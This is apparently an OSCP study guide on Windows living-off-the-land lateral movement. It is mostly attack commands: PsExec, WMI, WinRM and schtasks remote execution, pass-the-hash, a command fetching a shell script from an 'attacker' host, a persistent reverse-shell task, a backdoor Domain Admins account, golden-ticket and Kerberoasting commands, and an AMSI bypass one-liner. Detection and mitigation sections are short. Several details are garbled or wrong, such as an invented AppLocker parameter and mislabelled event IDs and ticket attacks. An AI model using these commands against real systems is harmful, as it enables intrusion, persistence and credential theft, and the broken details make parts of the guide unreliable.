Living off the Land Techniques
Table of Contents
- What is LOLBin
- Common LOLBins for Lateral Movement
- PowerShell Native Cmdlets for Lateral Movement
- AMSI Bypass Techniques
- LOLBAS Project Reference
- Detection Strategies
- Mitigation Strategies
- Common Pitfalls and Troubleshooting
- OSCP Exam Tips
What is LOLBin
LOLBin stands for “Living Off the Land Binary” — these are legitimate, signed, and commonly installed executables on Windows systems that can be abused by attackers to perform malicious activities, including lateral movement.
Why LOLBins Are Dangerous
| Characteristic | Why It Matters |
|---|---|
| Legitimate and Signed | Code-signed by Microsoft or trusted vendors; bypasses basic signature-based AV |
| Pre-installed | No need to upload tools; already present on target systems |
| Expected Behavior | Administrators use them daily; hard to distinguish legitimate from malicious use |
| Admin Support | Documented and supported by Microsoft; not flagged as malware |
| Feature-Rich | Many have powerful remote execution, credential, and network capabilities |
The LOLBin Philosophy
“The best malware is the one that’s already installed.”
Attackers leverage LOLBins to:
- Execute commands remotely without deploying custom tools
- Authenticate using stolen or legitimate credentials
- Move laterally across the network using built-in protocols
- Persist on systems using native scheduling and configuration mechanisms
Common LOLBins for Lateral Movement
PsExec and psexecsvc
PsExec is part of Microsoft’s Sysinternals suite. It allows remote process execution on target machines over SMB/IPC$.
How It Works
- PsExec connects to the target via SMB (port 445)
- It copies
psexesvc.exeto the admin share (\\target\admin$\psexesvc.exe) - It creates a service named
PSEXESVCon the target - The service executes the requested command and streams output back
- On exit, the service and binary are cleaned up
Basic Syntax
# Remote command execution
psexec \\TARGET_HOST -u DOMAIN\user -p Password123 cmd
# Remote PowerShell
psexec \\TARGET_HOST -u DOMAIN\user -p Password123 powershell -enc ENCODED_BASE64_CMD
# With specific credentials file
psexec \\TARGET_HOST -u user -p pass -d DOMAIN whoami
# Run as specific user on target
psexec \\TARGET_HOST -u DOMAIN\user -p Password123 -i cmd
# Pass-the-hash (using Metasploit's version)
psexec.py hash/domain/user@TARGET_HOST
Advanced Usage
# Execute with accept-eula flag (first-time use)
psexec.exe -accepteula \\TARGET_HOST cmd
# Run silently (no output window on target)
psexec \\TARGET_HOST -u user -p pass -d domain -d cmd
# Accept EULA and run PowerShell one-liner
psexec -accepteula \\TARGET_HOST -u user -p pass powershell "Invoke-WebRequest -Uri http://attacker/shell.ps1 -OutFile $env:TEMP\s.ps1"
# Copy file to remote system
psexec \\TARGET_HOST -c localfile.exe -d domain -u user -p pass
Impacket psexec.py
The Python-based Impacket version is often preferred in OSCP:
# Basic authentication
psexec.py DOMAIN/user:password@TARGET_HOST
# Pass-the-hash
psexec.py -hashes LMHASH:NTHASH DOMAIN/user@TARGET_HOST
# Kerberos authentication (no password needed if ticket exists)
psexec.py -k -no-pass DOMAIN/user@TARGET_HOST
# Execute specific command
psexec.py DOMAIN/user:password@TARGET_HOST "whoami"
# Use existing Kerberos ticket
export KRB5CCNAME=/path/to/ticket.kirbi
psexec.py -k DOMAIN/user@TARGET_HOST
Detection Indicators
| Event ID | Description |
|---|---|
| 4688 | New process created — look for psexesvc.exe or psexec.exe |
| 7045 | Service installed — look for PSEXESVC service name |
| 7040 | Service changed — service start type modification |
| 5140/5145 | Shared file/object opened — access to admin$ share |
| Sysmon 1 | Process creation with full command line |
| Sysmon 11 | File created — psexesvc.exe written to admin$ |
WMI and WMIC
WMI (Windows Management Instrumentation) is a core Windows administration infrastructure. Attackers abuse it for remote command execution without deploying additional binaries.
WMIC (Legacy)
# Remote process creation
wmic /node:TARGET_HOST /user:DOMAIN\user /password:Password123 process call create "cmd /c whoami > C:\temp\output.txt"
# List remote processes
wmic /node:TARGET_HOST /user:DOMAIN\user /password:Password123 process list brief
# Get OS information
wmic /node:TARGET_HOST /user:DOMAIN\user /password:Password123 os get caption,version
# List installed software
wmic /node:TARGET_HOST /user:DOMAIN\user /password:Password123 product get name,version
# Get user accounts
wmic /node:TARGET_HOST /user:DOMAIN\user /password:Password123 useraccount list brief
# Get network configuration
wmic /node:TARGET_HOST /user:DOMAIN\user /password:Password123 nicconfig where IPEnabled=True get DNSHostName,IPAddress
PowerShell WMI Cmdlets
# Invoke-WmiMethod for remote execution
Invoke-WmiMethod -ComputerName TARGET_HOST -Class Win32_Process -Name Create -ArgumentList "cmd /c whoami" -Credential (Get-Credential)
# Get-WmiObject for enumeration
Get-WmiObject -Class Win32_ComputerSystem -ComputerName TARGET_HOST -Credential (Get-Credential)
# Get-WmiObject for user enumeration
Get-WmiObject -Class Win32_UserAccount -ComputerName TARGET_HOST -Credential (Get-Credential)
# CIM (modern replacement for WMI)
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -ComputerName TARGET_HOST -ArgumentList {"cmd /c whoami"} -Credential (Get-Credential)
Get-CimInstance -ClassName Win32_ComputerSystem -ComputerName TARGET_HOST -Credential (Get-Credential)
WMI via COM/DCOM (Advanced)
# Create WMI connection via COM
$wmi = [WMICLASS]"\\TARGET_HOST\root\default:StdRegProv"
$process = [WMICLASS]"\\TARGET_HOST\root\cimv2:Win32_Process"
$process.Create("cmd /c whoami > C:\temp\out.txt")
# WMI event subscription for persistence
$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance.__CLASS='Win32_LocalTime' AND TargetInstance.Second=0"
$filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments {Name='UpdateFilter', EventName='root\cimv2', QueryLanguage='WQL', Query=$query}
Detection Indicators
| Event ID | Description |
|---|---|
| 4688 | wmic.exe process creation with suspicious command lines |
| 5857/5858 | WMI filter/activity events (Windows 10 1803+) |
| 5859 | WMI method execution events |
| Sysmon 1 | Process creation for wmic.exe |
| Sysmon 23 | WMI subscription events (persistence) |
| 4104 | WMI event consumer activity |
WinRM and PowerShell Remoting
WinRM (Windows Remote Management) enables remote management via HTTP/HTTPS. PowerShell Remoting builds on WinRM.
Prerequisites
- WinRM service must be running on the target
- Port 5985 (HTTP) or 5986 (HTTPS) must be accessible
- Target user must have appropriate permissions
Enable WinRM (on target — for setup)
# Enable WinRM Quick Config
Enable-PSRemoting -Force
# Manual WinRM configuration
winrm quickconfig
winrm set winrm/config/service @{AllowUnencrypted="true"}
winrm set winrm/config/service/auth @{Basic="true"}
Enter-PSSession (Interactive)
# Interactive remote PowerShell session
Enter-PSSession -ComputerName TARGET_HOST -Credential DOMAIN\user
# With specific port
Enter-PSSession -ComputerName TARGET_HOST -Port 5985 -Credential DOMAIN\user
# Using HTTPS
Enter-PSSession -ComputerName TARGET_HOST -Port 5986 -UseSSL -Credential DOMAIN\user
Invoke-Command (Non-Interactive)
# Execute single command
Invoke-Command -ComputerName TARGET_HOST -ScriptBlock { whoami; Get-Process } -Credential DOMAIN\user
# Execute script file
Invoke-Command -ComputerName TARGET_HOST -ScriptBlock { Invoke-Expression (Get-Content C:\temp\script.ps1 -Raw) } -Credential DOMAIN\user
# Multiple targets
Invoke-Command -ComputerName HOST1,HOST2,HOST3 -ScriptBlock { Get-Service } -Credential DOMAIN\user
# With session reuse
$session = New-PSSession -ComputerName TARGET_HOST -Credential DOMAIN\user
Invoke-Command -Session $session -ScriptBlock { whoami }
Invoke-Command -Session $session -ScriptBlock { Get-Process }
Remove-PSSession $session
winrs.exe (Command Line)
# Remote command via winrs
winrs -r:TARGET_HOST -u:DOMAIN\user -p:Password123 "cmd /c whoami"
# PowerShell via winrs
winrs -r:TARGET_HOST -u:DOMAIN\user -p:Password123 "powershell whoami"
Evil-WinRM (Ruby Tool)
# Install
gem install evil-winrm
# Basic usage
evil-winrm -i TARGET_HOST -u DOMAIN\user -p Password123
# With hash
evil-winrm -i TARGET_HOST -u DOMAIN\user -H NTHASH
# Upload/download files
evil-winrm -i TARGET_HOST -u user -p pass
upload /local/file.exe C:\temp\file.exe
download C:\temp\secrets.txt /local/secrets.txt
Detection Indicators
| Event ID | Description |
|---|---|
| 4104 | WinRM event — PowerShell remoting activity |
| 4624 | Logon type 10 (network with null session) or type 3 |
| 4634/4647 | Logoff events from remote sessions |
| Sysmon 1 | winrs.exe or PowerShell remoting process creation |
| Sysmon 3 | Network connection on port 5985/5986 |
| 40 | PowerShell script block logging |
schtasks - Scheduled Tasks
schtasks creates and manages scheduled tasks. Attackers abuse it for remote execution and persistence.
Remote Task Creation and Execution
# Create a remote scheduled task
schtasks /create /s TARGET_HOST /u DOMAIN\user /p Password123 /tn "UpdateTask" /tr "cmd /c whoami > C:\temp\output.txt" /sc ONCE /st 00:00 /ru "SYSTEM"
# Run the task immediately
schtasks /run /s TARGET_HOST /u DOMAIN\user /p Password123 /tn "UpdateTask"
# Delete the task after execution
schtasks /delete /s TARGET_HOST /u DOMAIN\user /p Password123 /tn "UpdateTask" /f
# One-liner: create, run, and delete
schtasks /create /s TARGET_HOST /u user /p pass /tn "T" /tr "powershell -enc BASE64CMD" /sc ONCE /st 00:00 /ru SYSTEM & schtasks /run /s TARGET_HOST /tn "T" & schtasks /delete /s TARGET_HOST /tn "T" /f
Local Persistence via schtasks
# Create persistent reverse shell task
schtasks /create /tn "WindowsUpdate" /tr "powershell -enc ENCODED_CMD" /sc DAILY /mo 1 /ru SYSTEM
# Run at system startup
schtasks /create /tn "StartupTask" /tr "C:\temp\malware.exe" /sc ONSTART /ru SYSTEM
# Every 15 minutes
schtasks /create /tn "CheckIn" /tr "cmd /c ping 10.0.0.1" /sc MINUTE /mo 15 /ru SYSTEM
Detection Indicators
| Event ID | Description |
|---|---|
| 4698 | A scheduled task was created |
| 4699 | A scheduled task was deleted |
| 4700 | A scheduled task was enabled |
| 4701 | A scheduled task was disabled |
| 4702 | A scheduled task was updated |
| 4703 | A scheduled task was started |
| Sysmon 1 | schtasks.exe process creation |
cmdkey - Stored Credentials
cmdkey manages stored credentials in Windows Credential Manager. Attackers use it to cache credentials for seamless lateral movement.
Adding and Using Stored Credentials
# Add a generic credential
cmdkey /add:TARGET_HOST /user:DOMAIN\user /pass:Password123
# List stored credentials
cmdkey /list
# Delete a stored credential
cmdkey /delete:TARGET_HOST
# Add credential and use with PsExec (seamless auth)
cmdkey /add:TARGET_HOST /user:DOMAIN\user /pass:Password123
psexec \\TARGET_HOST cmd
cmdkey /delete:TARGET_HOST
# Add credential for multiple hosts
cmdkey /add:HOST1 /user:user /pass:pass
cmdkey /add:HOST2 /user:user /pass:pass
cmdkey /add:HOST3 /user:user /pass:pass
Detection Indicators
| Event ID | Description |
|---|---|
| Sysmon 10 | Process access — cmdkey.exe accessing credential processes |
| 4624 | Logon with cached credentials |
| Security Logon | Credential manager activity in verbose logging |
runas - Credential Reuse
runas executes a program under a different user account.
# Run command as different user
runas /user:DOMAIN\user "cmd /k whoami"
# Run PowerShell as different user
runas /user:DOMAIN\user "powershell -NoExit -Command whoami"
# Save password (not recommended, stored in memory)
runas /savecred /user:DOMAIN\user "cmd /k whoami"
# Runas with saved credentials (after initial use of /savecred)
runas /savecred /user:DOMAIN\Administrator "cmd"
Detection Indicators
| Event ID | Description |
|---|---|
| 4648 | A logon was attempted using explicit credentials |
| 4624 | Logon type 2 (local interactive) with different user |
| Sysmon 1 | runas.exe process creation |
klist and kinit - Kerberos Manipulation
klist displays Kerberos tickets. kinit (via Mimikatz or Rubeus) obtains Kerberos tickets.
klist — Ticket Enumeration
# List all Kerberos tickets
klist
# List tickets in detail
klist tickets
# List service tickets
klist tickets -service cifs/TARGET_HOST
# Export tickets (Mimikatz)
# kerberos::list /export
Rubeus — Kerberos Attacks
# Ask for TGT
Rubeus.exe asktgt /user:Administrator /rc4:HASH /ptt
# Silver ticket (service ticket forgery)
Rubeus.exe ptt /ticket:BASE64_TICKET
# Golden ticket (TGT forgery)
mimikatz # kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:HASH /tickets
# Kerberoasting
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt
Detection Indicators
| Event ID | Description |
|---|---|
| 4768 | Kerberos TGT requested |
| 4769 | Kerberos service ticket requested |
| 4771 | Kerberos preauth failure |
| 4772 | Kerberos preauth failure (incorrect transform) |
nltest - Domain Trust Enumeration
nltest tests domain trust relationships and domain controller connectivity.
# List all trusted domains
nltest /domain_trusts
# List all trusted domains with details
nltest /domain_trusts /all /v
# Check domain trust password
nltest /query
# Get domain controller information
nltest /dsgetdc:DOMAIN_NAME
# Verify trust relationship
nltest /server:TARGET_DC /sc_verify:DOMAIN_NAME
# Get PDC emulator
nltest /dclist:DOMAIN_NAME
Detection Indicators
| Event ID | Description |
|---|---|
| Sysmon 1 | nltest.exe process creation |
| 4688 | Process creation event |
dsquery and dsadd - AD Object Manipulation
dsquery searches Active Directory objects. dsadd creates new AD objects.
# Query all users
dsquery user
# Query all computers
dsquery computer
# Query users in specific OU
dsquery user -ou "OU=Sales,DC=corp,DC=local"
# Query groups
dsquery group -name "*Admin*"
# Find users with specific attributes
dsquery user -name "*admin*"
# Query domain controllers
dsquery server
# Add a new user (requires privileges)
dsadd user "CN=BackdoorUser,OU=Users,DC=corp,DC=local" -pwd Password123 -enabled yes
# Add user to group
dsmod group "CN=Domain Admins,CN=Users,DC=corp,DC=local" -addmbr "CN=BackdoorUser,OU=Users,DC=corp,DC=local"
rpcping and ntlmauth
rpcping tests RPC connectivity. ntlmauth (Mimikatz module) performs NTLM authentication relay.
# Test RPC connectivity
rpcping -s TARGET_HOST -e 135
# ntlmauth for relay attacks (Mimikatz)
# sekurlsa::ntlmauth /user:USER /domain:DOMAIN /password:PASS /dc:DC_HOST
PowerShell Native Cmdlets for Lateral Movement
PowerSploit and Empire Native Cmdlets
Many lateral movement techniques are available via native PowerShell without external tools:
# Invoke-WMIExec (PowerSploit)
Invoke-WMIExec -ComputerName TARGET_HOST -Credential $cred -Payload { whoami }
# Invoke-Command with credentials
$cred = Get-Credential
Invoke-Command -ComputerName TARGET_HOST -Credential $cred -ScriptBlock { Get-Process }
# New-PSSession for persistent connection
$session = New-PSSession -ComputerName TARGET_HOST -Credential $cred
Invoke-Command -Session $session -ScriptBlock { Get-Service }
# Invoke-SharePoint (access shares)
# Invoke-UserImpersonation (token manipulation)
Native PowerShell Lateral Movement Chain
# Step 1: Create credential object
$pass = ConvertTo-SecureString 'Password123' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $pass)
# Step 2: Enumerate via WMI
Get-WmiObject -Class Win32_ComputerSystem -ComputerName TARGET -Credential $cred
# Step 3: Execute via WinRM
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock {
# Enumerate local users
Get-LocalUser
# Check admin groups
net localgroup administrators
# Dump interesting files
Get-ChildItem C:\Users\ -Recurse -Filter "*.txt" -ErrorAction SilentlyContinue
}
# Step 4: Execute via WMI
Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName TARGET -Credential $cred -ArgumentList "cmd /c whoami"
AMSI Bypass Techniques
AMSI (Antimalware Scan Interface) allows security products to scan PowerShell scripts and other content. Bypassing AMSI is often necessary for executing malicious PowerShell.
Technique 1: AMSI Context Corruption (Most Common)
# Reflective DLL injection approach
$w = [Ref].Assembly.GetTypes() | Where-Object {$_.Name -match 'AMSI'}
$w | ForEach-Object {
$_ | Get-Member -Static | Where-Object {$_.Name -match 'Init'}
}
# One-liner AMSI bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Technique 2: Patching amsi.dll in Memory
# Find and patch the amsi buffer
$amsiBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(8)
[System.Runtime.InteropServices.Marshal]::WriteByte($amsiBuffer, 0x00)
# Patch the Init function to always return failure
Technique 3: Constrained Language Mode Bypass
# Check if in constrained language mode
$ExecutionContext.SessionState.LanguageMode
# Bypass via environment variable
$env:PSModulePath = ''
Detection for AMSI Bypass
| Indicator | Description |
|---|---|
| Sysmon 10 | Process access to PowerShell by non-PowerShell processes |
| Sysmon 8 | Remote thread creation (DLL injection) |
| Sysmon 9 | Process injection |
| AMSI Scan Events | Security product logs showing AMSI initialization failures |
LOLBAS Project Reference
The LOLBAS project maintains a comprehensive database of Living Off the Land Binaries, Scripts, and Libraries.
Key Categories for Lateral Movement
| Category | Examples |
|---|---|
| Binaries | psexec.exe, wmic.exe, schtasks.exe, winrs.exe, mshta.exe, rundll32.exe |
| Scripts | download.crash, execute.ps1, bypass.ps1 |
| DLLs | prxcli.dll, url.dll, proxdll.dll |
| Drivers | Not typically used for lateral movement |
Must-Know LOLBins for OSCP
| LOLBin | Purpose | Key Switches |
|---|---|---|
psexec.exe |
Remote execution | \\target, -u, -p |
wmic.exe |
Remote WMI execution | /node:, /user:, /password: |
schtasks.exe |
Remote task creation | /s, /create, /run |
winrs.exe |
WinRM execution | -r:, -u:, -p: |
mshta.exe |
HTA execution (download+exec) | http://url/file.hta |
rundll32.exe |
DLL execution | dll,entrypoint |
certutil.exe |
Base64 decode/download | -decode, -f |
bitsadmin.exe |
File download | /transfer |
Detection Strategies
Sigma Rules for LOLBin Detection
# Example Sigma rule for PsExec
title: PsExec Service Installation
id: abc123
status: experimental
logsource:
category: sysmon_event_log
product: windows
detection:
selection:
EventID: 7045
ServiceName: 'PSEXESVC'
condition: selection
level: high
Sysmon Configuration for LOLBins
<!-- Sysmon config for LOLBin detection -->
<Sysmon schemaversion="4.90">
<HashAlgorithms>sha256</HashAlgorithms>
<EventFiltering>
<ProcessCreate onmatch="include">
<Image condition="end with">psexec.exe</Image>
<Image condition="end with">psexesvc.exe</Image>
<Image condition="end with">wmic.exe</Image>
<Image condition="end with">winrs.exe</Image>
<Image condition="end with">mshta.exe</Image>
</ProcessCreate>
</EventFiltering>
</Sysmon>
Mitigation Strategies
AppLocker
# Create AppLocker policy
New-AppLockerPolicy -DefaultRule UserDefinedDllAllowRules,UserDefinedExeAllowRules,UserDefinedScriptAllowRules | Set-AppLockerPolicy -LogoxiusRules
# Restrict PsExec
New-AppLockerPolicy -ExeRulePath "C:\Sysinternals\*" -RuleType Deny
WDAC (Windows Defender Application Control)
# Create WDAC policy
New-CIPPolicy -Name "LateralMovementBlock" -Level FileSystem
CMSTP Restrictions
# Disable CMSTP
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name "EnableCMSTP" -Value 0
Common Pitfalls and Troubleshooting
| Issue | Solution |
|---|---|
| PsExec: Access Denied | Ensure admin shares are enabled; check firewall rules for port 445 |
| WMI: Unavailable | Ensure WMI service is running; check DCOM permissions |
| WinRM: Connection Refused | Enable WinRM on target; check port 5985/5986 |
| AMSI blocks execution | Apply AMSI bypass before running malicious scripts |
| Trusted Hosts not configured | Add target to TrustedHosts: Set-Item WSMan:\localhost\Client\TrustedHosts -Value TARGET |
| UAC Remote Restriction | Local admin remote exec may be blocked by UAC; use admin shares or services |
OSCP Exam Tips
- Always try native tools first — PsExec, WMI, and WinRM are your bread and butter
- PsExec is the go-to — When you have credentials and admin shares work, PsExec is fastest
- WMI when SMB is blocked — If port 445 is filtered, try WMI (port 135/RPC)
- WinRM for PowerShell access — Port 5985 gives you full PowerShell remoting
- schtasks for stealth — Scheduled tasks leave less obvious artifacts than PsExec services
- Cache credentials with cmdkey — When moving to multiple hosts, avoid repeating credentials
- Check TrustedHosts — WinRM may require the target to be in TrustedHosts list
- Firewall awareness — Know which ports each technique uses:
- PsExec: 445 (SMB), 139 (NetBIOS)
- WMI: 135 (RPC), dynamic RPC ports
- WinRM: 5985 (HTTP), 5986 (HTTPS)
- RDP: 3389